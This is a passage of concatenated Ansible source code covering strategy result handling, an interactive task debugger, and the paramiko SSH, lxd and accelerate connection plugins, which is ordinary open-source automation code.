                    self._tqm.send_callback('v2_runner_on_ok', task_result)

                self._pending_results -= 1
                if original_host.name in self._blocked_hosts:
                    del self._blocked_hosts[original_host.name]

                # If this is a role task, mark the parent role as being run (if
                # the task was ok or failed, but not skipped or unreachable)
                if original_task._role is not None and role_ran:
                    # lookup the role in the ROLE_CACHE to make sure we're dealing
                    # with the correct object and mark it as executed
                    for (entry, role_obj) in iteritems(iterator._play.ROLE_CACHE[original_task._role._role_name]):
                        if role_obj._uuid == original_task._role._uuid:
                            role_obj._had_task_run[original_host.name] = True

                ret_results.append(task_result)

            except Queue.Empty:
                passes += 1
                if passes > 2:
                   break

            if one_pass:
                break

        return ret_results

    def _wait_on_pending_results(self, iterator):
        '''
        Wait for the shared counter to drop to zero, using a short sleep
        between checks to ensure we don't spin lock
        '''

        ret_results = []

        display.debug("waiting for pending results...")
        while self._pending_results > 0 and not self._tqm._terminated:

            if self._tqm.has_dead_workers():
                raise AnsibleError("A worker was found in a dead state")

            results = self._process_pending_results(iterator)
            ret_results.extend(results)

        display.debug("no more pending results, returning what we have")

        return ret_results

    def _add_host(self, host_info, iterator):
        '''
        Helper function to add a new host to inventory based on a task result.
        '''

        host_name = host_info.get('host_name')

        # Check if host in inventory, add if not
        new_host = self._inventory.get_host(host_name)
        if not new_host:
            new_host = Host(name=host_name)
            self._inventory._hosts_cache[host_name] = new_host
            self._inventory.get_host_vars(new_host)

            allgroup = self._inventory.get_group('all')
            allgroup.add_host(new_host)

        # Set/update the vars for this host
        new_host.vars = combine_vars(new_host.vars, self._inventory.get_host_vars(new_host))
        new_host.vars = combine_vars(new_host.vars,  host_info.get('host_vars', dict()))

        new_groups = host_info.get('groups', [])
        for group_name in new_groups:
            if not self._inventory.get_group(group_name):
                new_group = Group(group_name)
                self._inventory.add_group(new_group)
                self._inventory.get_group_vars(new_group)
                new_group.vars = self._inventory.get_group_variables(group_name)
            else:
                new_group = self._inventory.get_group(group_name)

            new_group.add_host(new_host)

            # add this host to the group cache
            if self._inventory.groups is not None:
                if group_name in self._inventory.groups:
                    if new_host not in self._inventory.get_group(group_name).hosts:
                        self._inventory.get_group(group_name).hosts.append(new_host.name)

        # clear pattern caching completely since it's unpredictable what
        # patterns may have referenced the group
        self._inventory.clear_pattern_cache()

        # also clear the hostvar cache entry for the given play, so that
        # the new hosts are available if hostvars are referenced
        self._variable_manager.invalidate_hostvars_cache(play=iterator._play)

    def _add_group(self, host, result_item):
        '''
        Helper function to add a group (if it does not exist), and to assign the
        specified host to that group.
        '''

        changed = False

        # the host here is from the executor side, which means it was a
        # serialized/cloned copy and we'll need to look up the proper
        # host object from the master inventory
        real_host = self._inventory.get_host(host.name)

        group_name = result_item.get('add_group')
        new_group = self._inventory.get_group(group_name)
        if not new_group:
            # create the new group and add it to inventory
            new_group = Group(name=group_name)
            self._inventory.add_group(new_group)
            new_group.vars = self._inventory.get_group_vars(new_group)

            # and add the group to the proper hierarchy
            allgroup = self._inventory.get_group('all')
            allgroup.add_child_group(new_group)
            changed = True

        if group_name not in host.get_groups():
            new_group.add_host(real_host)
            changed = True

        return changed

    def _load_included_file(self, included_file, iterator, is_handler=False):
        '''
        Loads an included YAML file of tasks, applying the optional set of variables.
        '''

        display.debug("loading included file: %s" % included_file._filename)
        try:
            data = self._loader.load_from_file(included_file._filename)
            if data is None:
                return []
            elif not isinstance(data, list):
                raise AnsibleError("included task files must contain a list of tasks")

            ti_copy = included_file._task.copy()
            temp_vars = ti_copy.vars.copy()
            temp_vars.update(included_file._args)
            # pop tags out of the include args, if they were specified there, and assign
            # them to the include. If the include already had tags specified, we raise an
            # error so that users know not to specify them both ways
            tags = included_file._task.vars.pop('tags', [])
            if isinstance(tags, string_types):
                tags = tags.split(',')
            if len(tags) > 0:
                if len(included_file._task.tags) > 0:
                    raise AnsibleParserError("Include tasks should not specify tags in more than one way (both via args and directly on the task). Mixing tag specify styles is prohibited for whole import hierarchy, not only for single import statement",
                            obj=included_file._task._ds)
                display.deprecated("You should not specify tags in the include parameters. All tags should be specified using the task-level option")
                included_file._task.tags = tags
            ti_copy.vars = temp_vars

            block_list = load_list_of_blocks(
                data,
                play=iterator._play,
                parent_block=None,
                task_include=ti_copy,
                role=included_file._task._role,
                use_handlers=is_handler,
                loader=self._loader,
                variable_manager=self._variable_manager,
            )

            # since we skip incrementing the stats when the task result is
            # first processed, we do so now for each host in the list
            for host in included_file._hosts:
                self._tqm._stats.increment('ok', host.name)

        except AnsibleError as e:
            # mark all of the hosts including this file as failed, send callbacks,
            # and increment the stats for this host
            for host in included_file._hosts:
                tr = TaskResult(host=host, task=included_file._task, return_data=dict(failed=True, reason=to_unicode(e)))
                iterator.mark_host_failed(host)
                self._tqm._failed_hosts[host.name] = True
                self._tqm._stats.increment('failures', host.name)
                self._tqm.send_callback('v2_runner_on_failed', tr)
            return []


        # finally, send the callback and return the list of blocks loaded
        self._tqm.send_callback('v2_playbook_on_include', included_file)
        display.debug("done processing included file")
        return block_list

    def run_handlers(self, iterator, play_context):
        '''
        Runs handlers on those hosts which have been notified.
        '''

        result = self._tqm.RUN_OK

        for handler_block in iterator._play.handlers:
            # FIXME: handlers need to support the rescue/always portions of blocks too,
            #        but this may take some work in the iterator and gets tricky when
            #        we consider the ability of meta tasks to flush handlers
            for handler in handler_block.block:
                if handler in self._notified_handlers and len(self._notified_handlers[handler]):
                    result = self._do_handler_run(handler, handler.get_name(), iterator=iterator, play_context=play_context)
                    if not result:
                        break
        return result

    def _do_handler_run(self, handler, handler_name, iterator, play_context, notified_hosts=None):

        # FIXME: need to use iterator.get_failed_hosts() instead?
        #if not len(self.get_hosts_remaining(iterator._play)):
        #    self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
        #    result = False
        #    break
        saved_name = handler.name
        handler.name = handler_name
        self._tqm.send_callback('v2_playbook_on_handler_task_start', handler)
        handler.name = saved_name

        if notified_hosts is None:
            notified_hosts = self._notified_handlers[handler]

        run_once = False
        try:
            action = action_loader.get(handler.action, class_only=True)
            if handler.run_once or getattr(action, 'BYPASS_HOST_LOOP', False):
                run_once = True
        except KeyError:
            # we don't care here, because the action may simply not have a
            # corresponding action plugin
            pass

        host_results = []
        for host in notified_hosts:
            if not handler.has_triggered(host) and (not iterator.is_failed(host) or play_context.force_handlers):
                task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=handler)
                self.add_tqm_variables(task_vars, play=iterator._play)
                self._queue_task(host, handler, task_vars, play_context)
                if run_once:
                    break

        # collect the results from the handler run
        host_results = self._wait_on_pending_results(iterator)

        try:
            included_files = IncludedFile.process_include_results(
                host_results,
                self._tqm,
                iterator=iterator,
                inventory=self._inventory,
                loader=self._loader,
                variable_manager=self._variable_manager
            )
        except AnsibleError as e:
            return False

        result = True
        if len(included_files) > 0:
            for included_file in included_files:
                try:
                    new_blocks = self._load_included_file(included_file, iterator=iterator, is_handler=True)
                    # for every task in each block brought in by the include, add the list
                    # of hosts which included the file to the notified_handlers dict
                    for block in new_blocks:
                        iterator._play.handlers.append(block)
                        for task in block.block:
                            result = self._do_handler_run(
                                handler=task,
                                handler_name=None,
                                iterator=iterator,
                                play_context=play_context,
                                notified_hosts=included_file._hosts[:],
                            )
                            if not result:
                                break
                except AnsibleError as e:
                    for host in included_file._hosts:
                        iterator.mark_host_failed(host)
                        self._tqm._failed_hosts[host.name] = True
                    display.warning(str(e))
                    continue

        # wipe the notification list
        self._notified_handlers[handler] = []
        display.debug("done running handlers, result is: %s" % result)
        return result

    def _take_step(self, task, host=None):

        ret=False
        msg=u'Perform task: %s ' % task
        if host:
            msg += u'on %s ' % host
        msg += u'(N)o/(y)es/(c)ontinue: '
        resp = display.prompt(msg)

        if resp.lower() in ['y','yes']:
            display.debug("User ran task")
            ret = True
        elif resp.lower() in ['c', 'continue']:
            display.debug("User ran task and cancled step mode")
            self._step = False
            ret = True
        else:
            display.debug("User skipped task")

        display.banner(msg)

        return ret

    def _execute_meta(self, task, play_context, iterator):

        # meta tasks store their args in the _raw_params field of args,
        # since they do not use k=v pairs, so get that
        meta_action = task.args.get('_raw_params')

        if meta_action == 'noop':
            # FIXME: issue a callback for the noop here?
            pass
        elif meta_action == 'flush_handlers':
            self.run_handlers(iterator, play_context)
        elif meta_action == 'refresh_inventory':
            self._inventory.refresh_inventory()
        elif meta_action == 'clear_facts':
            for host in iterator._host_states:
                self._variable_manager.clear_facts(host)
        #elif meta_action == 'reset_connection':
        #    connection_info.connection.close()
        elif meta_action == 'clear_host_errors':
            self._tqm._failed_hosts = dict()
            self._tqm._unreachable_hosts = dict()
            for host in iterator._host_states:
                iterator._host_states[host].fail_state = iterator.FAILED_NONE
        else:
            raise AnsibleError("invalid meta action requested: %s" % meta_action, obj=task._ds)







from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import cmd
import pprint
import sys

from ansible.plugins.strategy.linear import StrategyModule as LinearStrategyModule

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class NextAction(object):
    """ The next action after an interpreter's exit. """
    REDO = 1
    CONTINUE = 2
    EXIT = 3

    def __init__(self, result=EXIT):
        self.result = result


class StrategyModule(LinearStrategyModule):
    def __init__(self, tqm):
        self.curr_tqm = tqm
        super(StrategyModule, self).__init__(tqm)

    def _queue_task(self, host, task, task_vars, play_context):
        self.curr_host = host
        self.curr_task = task
        self.curr_task_vars = task_vars
        self.curr_play_context = play_context

        super(StrategyModule, self)._queue_task(host, task, task_vars, play_context)

    def _process_pending_results(self, iterator, one_pass=False):
        if not hasattr(self, "curr_host"):
            return super(StrategyModule, self)._process_pending_results(iterator, one_pass)

        prev_host_state = iterator.get_host_state(self.curr_host)
        results = super(StrategyModule, self)._process_pending_results(iterator, one_pass)

        while self._need_debug(results):
            next_action = NextAction()
            dbg = Debugger(self, results, next_action)
            dbg.cmdloop()

            if next_action.result == NextAction.REDO:
                # rollback host state
                self.curr_tqm.clear_failed_hosts()
                iterator._host_states[self.curr_host.name] = prev_host_state
                if reduce(lambda total, res : res.is_failed() or total, results, False):
                    self._tqm._stats.failures[self.curr_host.name] -= 1
                elif reduce(lambda total, res : res.is_unreachable() or total, results, False):
                    self._tqm._stats.dark[self.curr_host.name] -= 1

                # redo
                super(StrategyModule, self)._queue_task(self.curr_host, self.curr_task, self.curr_task_vars, self.curr_play_context)
                results = super(StrategyModule, self)._process_pending_results(iterator, one_pass)
            elif next_action.result == NextAction.CONTINUE:
                break
            elif next_action.result == NextAction.EXIT:
                exit(1)

        return results

    def _need_debug(self, results):
        return reduce(lambda total, res : res.is_failed() or res.is_unreachable() or total, results, False)


class Debugger(cmd.Cmd):
    prompt = '(debug) '  # debugger
    prompt_continuous = '> '  # multiple lines

    def __init__(self, strategy_module, results, next_action):
        # cmd.Cmd is old-style class
        cmd.Cmd.__init__(self)

        self.intro = "Debugger invoked"
        self.scope = {}
        self.scope['task'] = strategy_module.curr_task
        self.scope['vars'] = strategy_module.curr_task_vars
        self.scope['host'] = strategy_module.curr_host
        self.scope['result'] = results[0]._result
        self.scope['results'] = results  # for debug of this debugger
        self.next_action = next_action

    def cmdloop(self):
        try:
            cmd.Cmd.cmdloop(self)
        except KeyboardInterrupt:
            pass

    def do_EOF(self, args):
        return self.do_quit(args)

    def do_quit(self, args):
        display.display('aborted')
        self.next_action.result = NextAction.EXIT
        return True

    do_q = do_quit

    def do_continue(self, args):
        self.next_action.result = NextAction.CONTINUE
        return True

    do_c = do_continue

    def do_redo(self, args):
        self.next_action.result = NextAction.REDO
        return True

    do_r = do_redo

    def evaluate(self, args):
        try:
            return eval(args, globals(), self.scope)
        except:
            t, v = sys.exc_info()[:2]
            if isinstance(t, str):
                exc_type_name = t
            else:
                exc_type_name = t.__name__
            display.display('***%s:%s' % (exc_type_name, repr(v)))
            raise

    def do_p(self, args):
        try:
            result = self.evaluate(args)
            display.display(pprint.pformat(result))
        except:
            pass

    def execute(self, args):
        try:
            code = compile(args + '\n', '<stdin>', 'single')
            exec(code, globals(), self.scope)
        except:
            t, v = sys.exc_info()[:2]
            if type(t) == type(''):
                exc_type_name = t
            else:
                exc_type_name = t.__name__
            display.display('***%s:%s' % (exc_type_name, repr(v)))
            raise

    def default(self, line):
        try:
            self.execute(line)
            display.display(pprint.pformat(result))
        except:
            pass






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

# ---
# The paramiko transport is provided because many distributions, in particular EL6 and before
# do not support ControlPersist in their SSH implementations.  This is needed on the Ansible
# control machine to be reasonably efficient with connections.  Thus paramiko is faster
# for most users on these platforms.  Users with ControlPersist capability can consider
# using -c ssh or configuring the transport in ansible.cfg.

import warnings
import os
import socket
import logging
import tempfile
import traceback
import fcntl
import sys
import re

from termios import tcflush, TCIFLUSH
from binascii import hexlify

from ansible.compat.six import iteritems

from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleConnectionFailure, AnsibleFileNotFound
from ansible.plugins.connection import ConnectionBase
from ansible.utils.path import makedirs_safe
from ansible.utils.unicode import to_bytes

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

AUTHENTICITY_MSG="""
paramiko: The authenticity of host '%s' can't be established.
The %s key fingerprint is %s.
Are you sure you want to continue connecting (yes/no)?
"""

# SSH Options Regex
SETTINGS_REGEX = re.compile(r'(\w+)(?:\s*=\s*|\s+)(.+)')

# prevent paramiko warning noise -- see http://stackoverflow.com/questions/3920502/
HAVE_PARAMIKO=False
with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    try:
        import paramiko
        HAVE_PARAMIKO=True
        logging.getLogger("paramiko").setLevel(logging.WARNING)
    except ImportError:
        pass


class MyAddPolicy(object):
    """
    Based on AutoAddPolicy in paramiko so we can determine when keys are added
    and also prompt for input.

    Policy for automatically adding the hostname and new host key to the
    local L{HostKeys} object, and saving it.  This is used by L{SSHClient}.
    """

    def __init__(self, new_stdin, connection):
        self._new_stdin = new_stdin
        self.connection = connection

    def missing_host_key(self, client, hostname, key):

        if C.HOST_KEY_CHECKING:

            self.connection.connection_lock()

            old_stdin = sys.stdin
            sys.stdin = self._new_stdin

            # clear out any premature input on sys.stdin
            tcflush(sys.stdin, TCIFLUSH)

            fingerprint = hexlify(key.get_fingerprint())
            ktype = key.get_name()

            inp = raw_input(AUTHENTICITY_MSG % (hostname, ktype, fingerprint))
            sys.stdin = old_stdin

            self.connection.connection_unlock()

            if inp not in ['yes','y','']:
                raise AnsibleError("host connection rejected by user")

        key._added_by_ansible_this_time = True

        # existing implementation below:
        client._host_keys.add(hostname, key.get_name(), key)

        # host keys are actually saved in close() function below
        # in order to control ordering.


# keep connection objects on a per host basis to avoid repeated attempts to reconnect

SSH_CONNECTION_CACHE = {}
SFTP_CONNECTION_CACHE = {}


class Connection(ConnectionBase):
    ''' SSH based connections with Paramiko '''

    transport = 'paramiko'

    def _cache_key(self):
        return "%s__%s__" % (self._play_context.remote_addr, self._play_context.remote_user)

    def _connect(self):
        cache_key = self._cache_key()
        if cache_key in SSH_CONNECTION_CACHE:
            self.ssh = SSH_CONNECTION_CACHE[cache_key]
        else:
            self.ssh = SSH_CONNECTION_CACHE[cache_key] = self._connect_uncached()
        return self

    def _parse_proxy_command(self, port=22):
        proxy_command = None
        # Parse ansible_ssh_common_args, specifically looking for ProxyCommand
        ssh_args = [
            getattr(self._play_context, 'ssh_extra_args', ''),
            getattr(self._play_context, 'ssh_common_args', ''),
            getattr(self._play_context, 'ssh_args', ''),
        ]
        if ssh_args is not None:
            args = self._split_ssh_args(' '.join(ssh_args))
            for i, arg in enumerate(args):
                if arg.lower() == 'proxycommand':
                    # _split_ssh_args split ProxyCommand from the command itself
                    proxy_command = args[i + 1]
                else:
                    # ProxyCommand and the command itself are a single string
                    match = SETTINGS_REGEX.match(arg)
                    if match:
                        if match.group(1).lower() == 'proxycommand':
                            proxy_command = match.group(2)

                if proxy_command:
                    break

        proxy_command = proxy_command or C.PARAMIKO_PROXY_COMMAND

        sock_kwarg = {}
        if proxy_command:
            replacers = {
                '%h': self._play_context.remote_addr,
                '%p': port,
                '%r': self._play_context.remote_user
            }
            for find, replace in replacers.items():
                proxy_command = proxy_command.replace(find, str(replace))
            try:
                sock_kwarg = {'sock': paramiko.ProxyCommand(proxy_command)}
                display.vvv("CONFIGURE PROXY COMMAND FOR CONNECTION: %s" % proxy_command, host=self._play_context.remote_addr)
            except AttributeError:
                display.warning('Paramiko ProxyCommand support unavailable. '
                                'Please upgrade to Paramiko 1.9.0 or newer. '
                                'Not using configured ProxyCommand')

        return sock_kwarg

    def _connect_uncached(self):
        ''' activates the connection object '''

        if not HAVE_PARAMIKO:
            raise AnsibleError("paramiko is not installed")

        port = self._play_context.port or 22
        display.vvv("ESTABLISH CONNECTION FOR USER: %s on PORT %s TO %s" % (self._play_context.remote_user, port, self._play_context.remote_addr), host=self._play_context.remote_addr)

        ssh = paramiko.SSHClient()

        self.keyfile = os.path.expanduser("~/.ssh/known_hosts")

        if C.HOST_KEY_CHECKING:
            for ssh_known_hosts in ("/etc/ssh/ssh_known_hosts", "/etc/openssh/ssh_known_hosts"):
                try:
                    #TODO: check if we need to look at several possible locations, possible for loop
                    ssh.load_system_host_keys(ssh_known_hosts)
                    break
                except IOError:
                    pass # file was not found, but not required to function
            ssh.load_system_host_keys()

        sock_kwarg = self._parse_proxy_command(port)

        ssh.set_missing_host_key_policy(MyAddPolicy(self._new_stdin, self))

        allow_agent = True

        if self._play_context.password is not None:
            allow_agent = False

        try:
            key_filename = None
            if self._play_context.private_key_file:
                key_filename = os.path.expanduser(self._play_context.private_key_file)

            ssh.connect(
                self._play_context.remote_addr,
                username=self._play_context.remote_user,
                allow_agent=allow_agent,
                look_for_keys=True,
                key_filename=key_filename,
                password=self._play_context.password,
                timeout=self._play_context.timeout,
                port=port,
                **sock_kwarg
            )
        except Exception as e:
            msg = str(e)
            if "PID check failed" in msg:
                raise AnsibleError("paramiko version issue, please upgrade paramiko on the machine running ansible")
            elif "Private key file is encrypted" in msg:
                msg = 'ssh %s@%s:%s : %s\nTo connect as a different user, use -u <username>.' % (
                    self._play_context.remote_user, self._play_context.remote_addr, port, msg)
                raise AnsibleConnectionFailure(msg)
            else:
                raise AnsibleConnectionFailure(msg)

        return ssh

    def exec_command(self, cmd, in_data=None, sudoable=True):
        ''' run a command on the remote host '''

        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        if in_data:
            raise AnsibleError("Internal Error: this module does not support optimized module pipelining")

        bufsize = 4096

        try:
            self.ssh.get_transport().set_keepalive(5)
            chan = self.ssh.get_transport().open_session()
        except Exception as e:
            msg = "Failed to open session"
            if len(str(e)) > 0:
                msg += ": %s" % str(e)
            raise AnsibleConnectionFailure(msg)

        # sudo usually requires a PTY (cf. requiretty option), therefore
        # we give it one by default (pty=True in ansble.cfg), and we try
        # to initialise from the calling environment when sudoable is enabled
        if C.PARAMIKO_PTY and sudoable:
            chan.get_pty(term=os.getenv('TERM', 'vt100'), width=int(os.getenv('COLUMNS', 0)), height=int(os.getenv('LINES', 0)))

        display.vvv("EXEC %s" % cmd, host=self._play_context.remote_addr)

        cmd = to_bytes(cmd, errors='strict')

        no_prompt_out = ''
        no_prompt_err = ''
        become_output = ''

        try:
            chan.exec_command(cmd)
            if self._play_context.prompt:
                passprompt = False
                become_sucess = False
                while not (become_sucess or passprompt):
                    display.debug('Waiting for Privilege Escalation input')

                    chunk = chan.recv(bufsize)
                    display.debug("chunk is: %s" % chunk)
                    if not chunk:
                        if 'unknown user' in become_output:
                            raise AnsibleError( 'user %s does not exist' % self._play_context.become_user)
                        else:
                            break
                            #raise AnsibleError('ssh connection closed waiting for password prompt')
                    become_output += chunk

                    # need to check every line because we might get lectured
                    # and we might get the middle of a line in a chunk
                    for l in become_output.splitlines(True):
                        if self.check_become_success(l):
                            become_sucess = True
                            break
                        elif self.check_password_prompt(l):
                            passprompt = True
                            break

                if passprompt:
                    if self._play_context.become and self._play_context.become_pass:
                        chan.sendall(self._play_context.become_pass + '\n')
                    else:
                        raise AnsibleError("A password is reqired but none was supplied")
                else:
                    no_prompt_out += become_output
                    no_prompt_err += become_output
        except socket.timeout:
            raise AnsibleError('ssh timed out waiting for privilege escalation.\n' + become_output)

        stdout = ''.join(chan.makefile('rb', bufsize))
        stderr = ''.join(chan.makefile_stderr('rb', bufsize))

        return (chan.recv_exit_status(), no_prompt_out + stdout, no_prompt_out + stderr)

    def put_file(self, in_path, out_path):
        ''' transfer a file from local to remote '''

        super(Connection, self).put_file(in_path, out_path)

        display.vvv("PUT %s TO %s" % (in_path, out_path), host=self._play_context.remote_addr)

        if not os.path.exists(to_bytes(in_path, errors='strict')):
            raise AnsibleFileNotFound("file or module does not exist: %s" % in_path)

        try:
            self.sftp = self.ssh.open_sftp()
        except Exception as e:
            raise AnsibleError("failed to open a SFTP connection (%s)" % e)

        try:
            self.sftp.put(to_bytes(in_path, errors='strict'), to_bytes(out_path, errors='strict'))
        except IOError:
            raise AnsibleError("failed to transfer file to %s" % out_path)

    def _connect_sftp(self):

        cache_key = "%s__%s__" % (self._play_context.remote_addr, self._play_context.remote_user)
        if cache_key in SFTP_CONNECTION_CACHE:
            return SFTP_CONNECTION_CACHE[cache_key]
        else:
            result = SFTP_CONNECTION_CACHE[cache_key] = self._connect().ssh.open_sftp()
            return result

    def fetch_file(self, in_path, out_path):
        ''' save a remote file to the specified path '''

        super(Connection, self).fetch_file(in_path, out_path)

        display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self._play_context.remote_addr)

        try:
            self.sftp = self._connect_sftp()
        except Exception as e:
            raise AnsibleError("failed to open a SFTP connection (%s)", e)

        try:
            self.sftp.get(to_bytes(in_path, errors='strict'), to_bytes(out_path, errors='strict'))
        except IOError:
            raise AnsibleError("failed to transfer file from %s" % in_path)

    def _any_keys_added(self):

        for hostname, keys in iteritems(self.ssh._host_keys):
            for keytype, key in iteritems(keys):
                added_this_time = getattr(key, '_added_by_ansible_this_time', False)
                if added_this_time:
                    return True
        return False

    def _save_ssh_host_keys(self, filename):
        '''
        not using the paramiko save_ssh_host_keys function as we want to add new SSH keys at the bottom so folks
        don't complain about it :)
        '''

        if not self._any_keys_added():
            return False

        path = os.path.expanduser("~/.ssh")
        makedirs_safe(path)

        f = open(filename, 'w')

        for hostname, keys in iteritems(self.ssh._host_keys):

            for keytype, key in iteritems(keys):

                # was f.write
                added_this_time = getattr(key, '_added_by_ansible_this_time', False)
                if not added_this_time:
                    f.write("%s %s %s\n" % (hostname, keytype, key.get_base64()))

        for hostname, keys in iteritems(self.ssh._host_keys):

            for keytype, key in iteritems(keys):
                added_this_time = getattr(key, '_added_by_ansible_this_time', False)
                if added_this_time:
                    f.write("%s %s %s\n" % (hostname, keytype, key.get_base64()))

        f.close()

    def close(self):
        ''' terminate the connection '''

        cache_key = self._cache_key()
        SSH_CONNECTION_CACHE.pop(cache_key, None)
        SFTP_CONNECTION_CACHE.pop(cache_key, None)

        if self.sftp is not None:
            self.sftp.close()

        if C.HOST_KEY_CHECKING and C.PARAMIKO_RECORD_HOST_KEYS and self._any_keys_added():

            # add any new SSH host keys -- warning -- this could be slow
            # (This doesn't acquire the connection lock because it needs
            # to exclude only other known_hosts writers, not connections
            # that are starting up.)
            lockfile = self.keyfile.replace("known_hosts",".known_hosts.lock")
            dirname = os.path.dirname(self.keyfile)
            makedirs_safe(dirname)

            KEY_LOCK = open(lockfile, 'w')
            fcntl.lockf(KEY_LOCK, fcntl.LOCK_EX)

            try:
                # just in case any were added recently

                self.ssh.load_system_host_keys()
                self.ssh._host_keys.update(self.ssh._system_host_keys)

                # gather information about the current key file, so
                # we can ensure the new file has the correct mode/owner

                key_dir  = os.path.dirname(self.keyfile)
                if os.path.exists(self.keyfile):
                    key_stat = os.stat(self.keyfile)
                    mode = key_stat.st_mode
                    uid = key_stat.st_uid
                    gid = key_stat.st_gid
                else:
                    mode = 33188
                    uid = os.getuid()
                    gid = os.getgid()

                # Save the new keys to a temporary file and move it into place
                # rather than rewriting the file. We set delete=False because
                # the file will be moved into place rather than cleaned up.

                tmp_keyfile = tempfile.NamedTemporaryFile(dir=key_dir, delete=False)
                os.chmod(tmp_keyfile.name, mode & 0o7777)
                os.chown(tmp_keyfile.name, uid, gid)

                self._save_ssh_host_keys(tmp_keyfile.name)
                tmp_keyfile.close()

                os.rename(tmp_keyfile.name, self.keyfile)

            except:

                # unable to save keys, including scenario when key was invalid
                # and caught earlier
                traceback.print_exc()
                pass
            fcntl.lockf(KEY_LOCK, fcntl.LOCK_UN)

        self.ssh.close()






# (c) 2016 Matt Clay <matt@mystile.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
from distutils.spawn import find_executable
from subprocess import call, Popen, PIPE

from ansible.errors import AnsibleError, AnsibleConnectionFailure, AnsibleFileNotFound
from ansible.plugins.connection import ConnectionBase
from ansible.utils.unicode import to_bytes, to_unicode


class Connection(ConnectionBase):
    """ lxd based connections """

    transport = "lxd"
    has_pipelining = True

    def __init__(self, play_context, new_stdin, *args, **kwargs):
        super(Connection, self).__init__(play_context, new_stdin, *args, **kwargs)

        self._host = self._play_context.remote_addr
        self._lxc_cmd = find_executable("lxc")

        if not self._lxc_cmd:
            raise AnsibleError("lxc command not found in PATH")

        if self._play_context.remote_user is not None and self._play_context.remote_user != 'root':
            self._display.warning('lxd does not support remote_user, using container default: root')

    def _connect(self):
        """connect to lxd (nothing to do here) """
        super(Connection, self)._connect()

        if not self._connected:
            self._display.vvv(u"ESTABLISH LXD CONNECTION FOR USER: root", host=self._host)
            self._connected = True

    def exec_command(self, cmd, in_data=None, sudoable=True):
        """ execute a command on the lxd host """
        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        self._display.vvv(u"EXEC {0}".format(cmd), host=self._host)

        local_cmd = [self._lxc_cmd, "exec", self._host, "--", self._play_context.executable, "-c", cmd]

        local_cmd = [to_bytes(i, errors='strict') for i in local_cmd]
        in_data = to_bytes(in_data, errors='strict', nonstring='passthru')

        process = Popen(local_cmd, stdin=PIPE, stdout=PIPE, stderr=PIPE)
        stdout, stderr = process.communicate(in_data)

        stdout = to_unicode(stdout)
        stderr = to_unicode(stderr)

        if stderr == "error: Container is not running.\n":
            raise AnsibleConnectionFailure("container not running: %s" % self._host)

        if stderr == "error: not found\n":
            raise AnsibleConnectionFailure("container not found: %s" % self._host)

        return process.returncode, stdout, stderr

    def put_file(self, in_path, out_path):
        """ put a file from local to lxd """
        super(Connection, self).put_file(in_path, out_path)

        self._display.vvv(u"PUT {0} TO {1}".format(in_path, out_path), host=self._host)

        if not os.path.isfile(to_bytes(in_path, errors='strict')):
            raise AnsibleFileNotFound("input path is not a file: %s" % in_path)

        local_cmd = [self._lxc_cmd, "file", "push", in_path, self._host + "/" + out_path]

        local_cmd = [to_bytes(i, errors='strict') for i in local_cmd]

        call(local_cmd)

    def fetch_file(self, in_path, out_path):
        """ fetch a file from lxd to local """
        super(Connection, self).fetch_file(in_path, out_path)

        self._display.vvv(u"FETCH {0} TO {1}".format(in_path, out_path), host=self._host)

        local_cmd = [self._lxc_cmd, "file", "pull", self._host + "/" + in_path, out_path]

        local_cmd = [to_bytes(i, errors='strict') for i in local_cmd]

        call(local_cmd)

    def close(self):
        """ close the connection (nothing to do here) """
        super(Connection, self).close()

        self._connected = False






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import base64
import json
import os
import socket
import struct
import time

from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleFileNotFound, AnsibleConnectionFailure
from ansible.parsing.utils.jsonify import jsonify
from ansible.plugins.connection import ConnectionBase
from ansible.utils.encrypt import key_for_hostname, keyczar_encrypt, keyczar_decrypt
from ansible.utils.unicode import to_bytes

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

# the chunk size to read and send, assuming mtu 1500 and
# leaving room for base64 (+33%) encoding and header (8 bytes)
# ((1400-8)/4)*3) = 1044
# which leaves room for the TCP/IP header. We set this to a
# multiple of the value to speed up file reads.
CHUNK_SIZE=1044*20


class Connection(ConnectionBase):
    ''' raw socket accelerated connection '''

    transport = 'accelerate'
    has_pipelining = False
